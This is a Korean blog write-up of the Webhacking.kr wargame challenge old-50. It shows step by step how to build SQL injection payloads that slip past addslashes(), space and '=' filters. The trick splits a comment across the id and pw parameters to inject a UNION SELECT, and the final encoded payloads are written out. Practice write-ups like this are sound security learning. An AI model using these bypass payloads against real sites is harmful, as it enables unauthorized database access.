본문 바로가기
Wargame/Webhacking.kr Writeup

Webhacking.kr old-50 Write up

by Ate1es 2021. 7. 22.

SQL INJECTION 공격으로 lv 3을 select 해야한다.

 

제일 처음 생각나는 공격 구문은

 ~~~ where id='' or lv=3#' 이었다.

 

따라서 id=' or lv=3#'

 

1차 공격 쿼리 id=%27%20||%20lv%3D3%23%27

 

하지만 여기서 addslashes(), 띄어쓰기 필터링, = 필터링 등을 bypass 하는 구문으로 바꿔야한다.

따라서 싱글쿼터(%27)앞에 %bf 붙여주고, %20 -> %0a 로 바꿔주었다.

 

2차 공격 쿼리 id=%bf%27%7C%7Clv%0alike%0a%bf%273%bf%27%23%bf%27

 

하지만 Wrong이 출력 되었다. 소스코드를 다시 보면, 데이터가 없을 때 Wrong이 출력되는 것으로 보아, union select 로 꺼내야 할 것 같다.

 

하지만 id에는 union 필터링이 걸려있기 때문에, pw 까지 이용해준다. 

 

id='/*

pw=*/ union select 3#'

 

이런 식으로 입력값이 들어간다면 쿼리문은

 

"select lv from chall50 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')"

 

에서

 

"select lv from chall50 where id=''/* and pw=md5('*/ union select 3#'')"

 

이렇게 된다. 그럼 최종 쿼리문은 /* */ 사이가 주석으로 변하고

 

"select lv from chall50 where id=''/* and pw=md5('*/ union select 3#'')"

 

where id='' union select 3 으로 변신..!

따라서 필터링을 bypass 하는 공격 구문을 작성하면

 

id=%bf%27%2F*

pw=*%2F%0aunion%0aselect%0a3%23

 

풀리게 됩니당

 

'Wargame > Webhacking.kr Writeup' 카테고리의 다른 글

Webhacking.kr - New: NotSQL Writeup  (0) 2021.07.23
Webhacking.kr old:22 Write up  (0) 2021.07.16
Webhacking.kr :old-9 Write up  (0) 2021.07.06
Webhacking.kr :old-2 Write up  (0) 2021.07.06